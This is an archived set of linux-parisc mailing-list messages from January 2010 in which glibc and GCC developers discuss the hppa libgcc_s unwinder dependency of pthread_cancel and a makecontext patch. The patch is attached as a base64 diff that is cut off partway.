Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1264956750 21702 80.91.229.12 (31 Jan 2010 16:52:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 31 Jan 2010 16:52:30 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 31 17:52:27 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nbd29-0004GJ-JL
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jan 2010 17:52:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753471Ab0AaQwY convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 11:52:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753480Ab0AaQwX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 31 Jan 2010 11:52:23 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:45451 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753471Ab0AaQwX convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 11:52:23 -0500
Original-Received: by ewy19 with SMTP id 19so1348499ewy.1
        for <linux-parisc@vger.kernel.org>; Sun, 31 Jan 2010 08:52:21 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=amCwgHId/wmnDMrrlWwZLuiIZum/ByiYGZNt8bRiVik=;
        b=tUv5q6cfXmd9lHlgn4yj1yodcZAOUHZexqYHbP6SrZdffvHL3Fin7ZLmE5FgzGaayx
         BvIaXYieiKqnH0wuLRnC9LgCdWNkmrOFMnkqXLyVMaYArlz4UtJwiPMLOabKQcXCrV/X
         TfdDr6IOYjXNv9SMJF4L63cwx1Pi/+IMza7H4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=aJeUMFONaUd5D/hsWfiIp/Y9X54krzr6xNnqe7/rZzPDGeB5UK7Peo5dBJtY2P/rYL
         z1CAwze88sJiT16KFlhIKqqyY6rt/vdO8lf3+Op+QFYqKZeY8uqStFgJ7W4bO+6cokvT
         ycqWqufoC0MEimqbTfQsAEQTLmOUn/K5b0Rgw=
Original-Received: by 10.216.91.73 with SMTP id g51mr1969243wef.68.1264956741432; Sun, 
	31 Jan 2010 08:52:21 -0800 (PST)
In-Reply-To: <20100131163906.58A5C4EA9@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: d9d292c5a3bdf258
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2593
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2593>

On Sun, Jan 31, 2010 at 11:39 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> Could you look at GCC target/42850? =A0This is for the same testcase.
>
> It looks like glibc either has a hidden dependence on libgcc_s, or
> we have a dynamic loader bug. =A0See comment #3.

Hidden? :-)

The implementation of pthread_cancel_init in NPTL uses the unwinder in
libgcc_s.so.

Each target must tell glibc which version of the library is *current*
in order for glibc to dlopen that version and use the provided
unwinder.

We define it like this:
glibc-ports/sysdeps/hppa/libgcc_s.h
/* Name of libgcc_s library provided by gcc.  */
#define LIBGCC_S_SO "libgcc_s.so.4"

If you bump the version number you need to tell me, and then we
coordinate with debian to release a new libgcc_s.so, followed by an
updated glibc.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segmentation fault in __libc_start_main with -static
Date: Sun, 31 Jan 2010 12:13:07 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <20100131171307.E17D85145@hiauly1.hia.nrc.ca>
References: <119aab441001310852u687139b3rf711997e4e2e4b83@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1264958014 25744 80.91.229.12 (31 Jan 2010 17:13:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 31 Jan 2010 17:13:34 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 31 18:13:12 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NbdME-0007Ex-Gw
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jan 2010 18:13:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753026Ab0AaRNJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 12:13:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753091Ab0AaRNJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 31 Jan 2010 12:13:09 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2554 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753026Ab0AaRNJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 12:13:09 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E17D85145; Sun, 31 Jan 2010 12:13:07 -0500 (EST)
In-Reply-To: <119aab441001310852u687139b3rf711997e4e2e4b83@mail.gmail.com> from "Carlos O'Donell" at Jan 31, 2010 11:52:21 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2594
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2594>

> We define it like this:
> glibc-ports/sysdeps/hppa/libgcc_s.h
> /* Name of libgcc_s library provided by gcc.  */
> #define LIBGCC_S_SO "libgcc_s.so.4"
> 
> If you bump the version number you need to tell me, and then we
> coordinate with debian to release a new libgcc_s.so, followed by an
> updated glibc.

Ugh!  This means that the change in unwind behavior (signal frames)
would need to be backported to all active GCC versions.  libgcj would
also need fixing.  In principle, the whole application base would
need recompilation to update to the new glibc version.

I guess the minimal impact is to accept that the change in unwind
behavior will break a few programs.  The java exception support
compensated for the bug.  I'll back out the version bump.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segmentation fault in __libc_start_main with -static
Date: Sun, 31 Jan 2010 13:03:17 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <119aab441001311003j480f6e4u741ae15df2899b32@mail.gmail.com>
References: <119aab441001310852u687139b3rf711997e4e2e4b83@mail.gmail.com>
	 <20100131171307.E17D85145@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1264961008 6450 80.91.229.12 (31 Jan 2010 18:03:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 31 Jan 2010 18:03:28 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 31 19:03:24 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nbe8m-000199-Hy
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jan 2010 19:03:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753794Ab0AaSDT convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 13:03:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753734Ab0AaSDT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 31 Jan 2010 13:03:19 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:44921 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752618Ab0AaSDS convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 13:03:18 -0500
Original-Received: by ewy19 with SMTP id 19so1408498ewy.1
        for <linux-parisc@vger.kernel.org>; Sun, 31 Jan 2010 10:03:17 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=UsiFBaj7CvN/AooHxUIlgf19XtoUoZv7/BS2N2DRQro=;
        b=KOp9Fri2BVww9WYc4/+VYzy7B3D7nSmrWdAc7ZYuluECUEadBg2TvCFr+piew8ZX6l
         GMveeY/PlrO4DjScRyR1M8XzzrgFJ7Cl4urwHZJUmigU0BQvvSH9Tg9LeFnLjIODAcd3
         CjarD4eIZll6ykQvzMS5uwcL2sVXZMhvjHyCA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=Nbp8hQH2po3Z6hNtC0ilauC17t8V5DTqME/I2pRJUAgcpPjGXYuG11FvrqErzQCQim
         gdEQABc/7WiYXnVo+oejyiU4mvG1VDKAIlynveKZMe2J5j7vNoEPhv6tI0w0EJOqlj6m
         sclbp6bxT6Q/458G7jlqbbR5gGJ8FDEKN0+z8=
Original-Received: by 10.216.91.73 with SMTP id g51mr2006745wef.68.1264960997362; Sun, 
	31 Jan 2010 10:03:17 -0800 (PST)
In-Reply-To: <20100131171307.E17D85145@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 1fc8b4d80257a41d
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2595
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2595>

On Sun, Jan 31, 2010 at 12:13 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> We define it like this:
>> glibc-ports/sysdeps/hppa/libgcc_s.h
>> /* Name of libgcc_s library provided by gcc. =A0*/
>> #define LIBGCC_S_SO "libgcc_s.so.4"
>>
>> If you bump the version number you need to tell me, and then we
>> coordinate with debian to release a new libgcc_s.so, followed by an
>> updated glibc.
>
> Ugh! =A0This means that the change in unwind behavior (signal frames)
> would need to be backported to all active GCC versions. =A0libgcj wou=
ld
> also need fixing. =A0In principle, the whole application base would
> need recompilation to update to the new glibc version.

Could you explain the change in more detail?

You should only have to rebuild the whole application base if you
break the unwind ABI.

> I guess the minimal impact is to accept that the change in unwind
> behavior will break a few programs. =A0The java exception support
> compensated for the bug. =A0I'll back out the version bump.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segmentation fault in __libc_start_main with -static
Date: Sun, 31 Jan 2010 13:52:50 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <20100131185251.1A9305145@hiauly1.hia.nrc.ca>
References: <119aab441001311003j480f6e4u741ae15df2899b32@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1264963980 18863 80.91.229.12 (31 Jan 2010 18:53:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 31 Jan 2010 18:53:00 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 31 19:52:57 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nbeuk-0006kw-2H
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jan 2010 19:52:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752023Ab0AaSwx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 13:52:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752148Ab0AaSwx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 31 Jan 2010 13:52:53 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2561 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752023Ab0AaSww (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 13:52:52 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1A9305145; Sun, 31 Jan 2010 13:52:50 -0500 (EST)
In-Reply-To: <119aab441001311003j480f6e4u741ae15df2899b32@mail.gmail.com> from "Carlos O'Donell" at Jan 31, 2010 01:03:17 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2596
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2596>

> Could you explain the change in more detail?

The change is to set fs->signal_frame = 1 in signal frames in
pa32_fallback_frame_state.  This affects the determination as to whether
the IP is before or after the first not yet fully executed instruction
in a frame.  This feature was added in 2006 by Jakub Jelinek, but
pa32_fallback_frame_state was not changed.

This fixes unwinding in Ada (corner case).  It probably fixes corner
causes for other languages.  However, it breaks a number of Java testcases.
The problem is compensated for in the definition used for MAKE_THROW_FRAME
in libjava/include/pa-signal.h and hppa-signal.h.

The Ada testcase that exposed this problem is new for 4.5.

I'd hoped to bump the libgcc_s version so as to not break existing
applications, but that appears impossible.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segmentation fault in __libc_start_main with -static
Date: Sun, 31 Jan 2010 14:15:06 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <119aab441001311115i75dc4cdcl195dedd55b5c63d9@mail.gmail.com>
References: <119aab441001311003j480f6e4u741ae15df2899b32@mail.gmail.com>
	 <20100131185251.1A9305145@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1264965322 24040 80.91.229.12 (31 Jan 2010 19:15:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 31 Jan 2010 19:15:22 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 31 20:15:19 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NbfGJ-0005BW-QW
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jan 2010 20:15:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751526Ab0AaTPJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 14:15:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752593Ab0AaTPJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 31 Jan 2010 14:15:09 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:51873 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751526Ab0AaTPI convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 14:15:08 -0500
Original-Received: by ewy19 with SMTP id 19so1472791ewy.1
        for <linux-parisc@vger.kernel.org>; Sun, 31 Jan 2010 11:15:07 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=iGt4sgU04t5oz6PV7Wz2uQkkgKNF85MGw1Z/VF+TeTg=;
        b=YJ33RCbPQThvAHlbDOjS+R2pHqEGX9Ouabah0wj3IJ7fcfLroQy0uQZ6HNmbO+y/h7
         F6OU67xKx3qYC1FInnOWxVtcG5md2pCPGP173gZM9iXZaftbp6cQgTNU9JM85UaQTnN8
         OcX1dumXuA7Aduxfx5lSrYD0e4zEmg308fkXQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=t1JHY5qSPOgb9eo3BUPJMfHuXBDOA8+qlazuRyuxkhnDS+jXxA1jhVUZd+u7bcb2aM
         CcRUcawQI40/NOfT1zjno7wUwvhdZvMhVpuxkfoVA5KorKkWhuiiFLi1qptOJpivViKy
         6UkLSsyRf0851T2d2nGwk2sEWJEZHZ9crG/CY=
Original-Received: by 10.216.86.65 with SMTP id v43mr1971103wee.118.1264965306657; Sun, 
	31 Jan 2010 11:15:06 -0800 (PST)
In-Reply-To: <20100131185251.1A9305145@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: fb3407fcdf5ccdb2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2597
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2597>

On Sun, Jan 31, 2010 at 1:52 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> Could you explain the change in more detail?
>
> The change is to set fs->signal_frame =3D 1 in signal frames in
> pa32_fallback_frame_state. =A0This affects the determination as to wh=
ether
> the IP is before or after the first not yet fully executed instructio=
n
> in a frame. =A0This feature was added in 2006 by Jakub Jelinek, but
> pa32_fallback_frame_state was not changed.

OK.

> This fixes unwinding in Ada (corner case). =A0It probably fixes corne=
r
> causes for other languages. =A0However, it breaks a number of Java te=
stcases.
> The problem is compensated for in the definition used for MAKE_THROW_=
=46RAME
> in libjava/include/pa-signal.h and hppa-signal.h.
>
> The Ada testcase that exposed this problem is new for 4.5.
>
> I'd hoped to bump the libgcc_s version so as to not break existing
> applications, but that appears impossible.

No, unfortunately the implementation of pthread_cancel() needs to use
the unwinder, and that means glibc assumes that the latest libgcc_s.so
can always unwind old code using some sort of fallback.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Questions about hppa *context functions.
Date: Sun, 31 Jan 2010 15:15:37 -0500
Lines: 82
Approved: news@gmane.org
Message-ID: <119aab441001311215p6c13d7a7tcee4747393b1efbe@mail.gmail.com>
References: <119aab441001310825x6fa7254u85c00dc1b0588950@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=0016e6dab18e3017ea047e7b8875
X-Trace: ger.gmane.org 1264968979 5768 80.91.229.12 (31 Jan 2010 20:16:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 31 Jan 2010 20:16:19 +0000 (UTC)
To: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	libc-ports@sourceware.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 31 21:16:15 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NbgCr-0002Ye-AR
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jan 2010 21:15:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753980Ab0AaUPk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 15:15:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754030Ab0AaUPk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 31 Jan 2010 15:15:40 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:32907 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753980Ab0AaUPj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 15:15:39 -0500
Original-Received: by ewy19 with SMTP id 19so1528031ewy.1
        for <linux-parisc@vger.kernel.org>; Sun, 31 Jan 2010 12:15:37 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to
         :content-type;
        bh=Kl0vUmefS7Cz105+hwsrcui/eshBuK+BsAuSKxhvBLY=;
        b=tYngibQ0psN2fM1EPDo0lle7WhTyLlqkn+HbZcR0VBHrip7EWi99KgOB4lHCptpB4+
         P+aygYkIOsk1b3+X7IQwA+iPghAZfuJig8f/UYHisySxZ2hPf/zbzwy29Ou8R920f7el
         LMPSLYFElxHY/YaPQ9XHvB64zVgA6dhuUhfDE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        b=glhFWIfUvliw8v5hoX5w/K7Prqt8HxoSH1+1oIaDxHKooprclMKlJaUranM70pHwm6
         H3JpYk/Qhunt+GM9+qMcVrmjc62NBK2tHxymS1vOQHjgYq9riJrSi/0r29slDORnG48T
         YL6NFszgcWSoo4IoOgOeNXM2RI3q2p7Q5csH0=
Original-Received: by 10.216.86.72 with SMTP id v50mr1738811wee.184.1264968937772; Sun, 
	31 Jan 2010 12:15:37 -0800 (PST)
In-Reply-To: <119aab441001310825x6fa7254u85c00dc1b0588950@mail.gmail.com>
X-Google-Sender-Auth: 00778166f0b92b0b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2598
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2598>

--0016e6dab18e3017ea047e7b8875
Content-Type: text/plain; charset=ISO-8859-1

On Sun, Jan 31, 2010 at 11:25 AM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> Helge,
>
> On December 15th, 2009 an additional *context test was added to glibc,
> see stdlib/tst-makecontext3.c.
>
> This test fails on hppa with:
> ~~~
> makecontext: does not know how to handle more than 8 arguments
> ~~~

New patch attached with additional changes:
* Align the incoming stack to 64-bytes.
* Adjust for frame.
* Adjust saved stack pointer.

The following patch allows the new test to pass for the 32-bit runtime.

I can't guarantee this works for a 64-bit runtime.

Helge, can you comment on the attached patch?

Cheers,
Carlos.

--0016e6dab18e3017ea047e7b8875
Content-Type: application/octet-stream; name="makecontext.diff"
Content-Disposition: attachment; filename="makecontext.diff"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g549txk81

ZGlmZiAtLWdpdCBhL3N5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbWFrZWNvbnRleHQuYyBi
L3N5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbWFrZWNvbnRleHQuYwppbmRleCA2OWExODEz
Li5hODRhYmU3IDEwMDY0NAotLS0gYS9zeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL21ha2Vj
b250ZXh0LmMKKysrIGIvc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9tYWtlY29udGV4dC5j
CkBAIC0yNSw3ICsyNSw5IEBACiAjaW5jbHVkZSA8c3lzZGVwLmg+CiAjaW5jbHVkZSA8dWNvbnRl
eHQuaD4KIAotLyogWFhYOiBUaGlzIGltcGxlbWVudGF0aW9uIG9ubHkgaGFuZGxlcyBpbnRlZ2Vy
IGFyZ3VtZW50cy4gICovCisvKiBQT1NJWCBvbmx5IHN1cHBvcnRzIGludGVnZXIgYXJndW1lbnRz
LiAgKi8KKyNkZWZpbmUgU1RBQ0tfQUxJR04gNjQKKyNkZWZpbmUgRlJBTUVfU0laRSA4CiAKIHZv
aWQKIF9fbWFrZWNvbnRleHQgKHVjb250ZXh0X3QgKnVjcCwgdm9pZCAoKmZ1bmMpICh2b2lkKSwg
aW50IGFyZ2MsIC4uLikKQEAgLTM0LDE1ICszNiwxMCBAQCBfX21ha2Vjb250ZXh0ICh1Y29udGV4
dF90ICp1Y3AsIHZvaWQgKCpmdW5jKSAodm9pZCksIGludCBhcmdjLCAuLi4pCiAgIHZhX2xpc3Qg
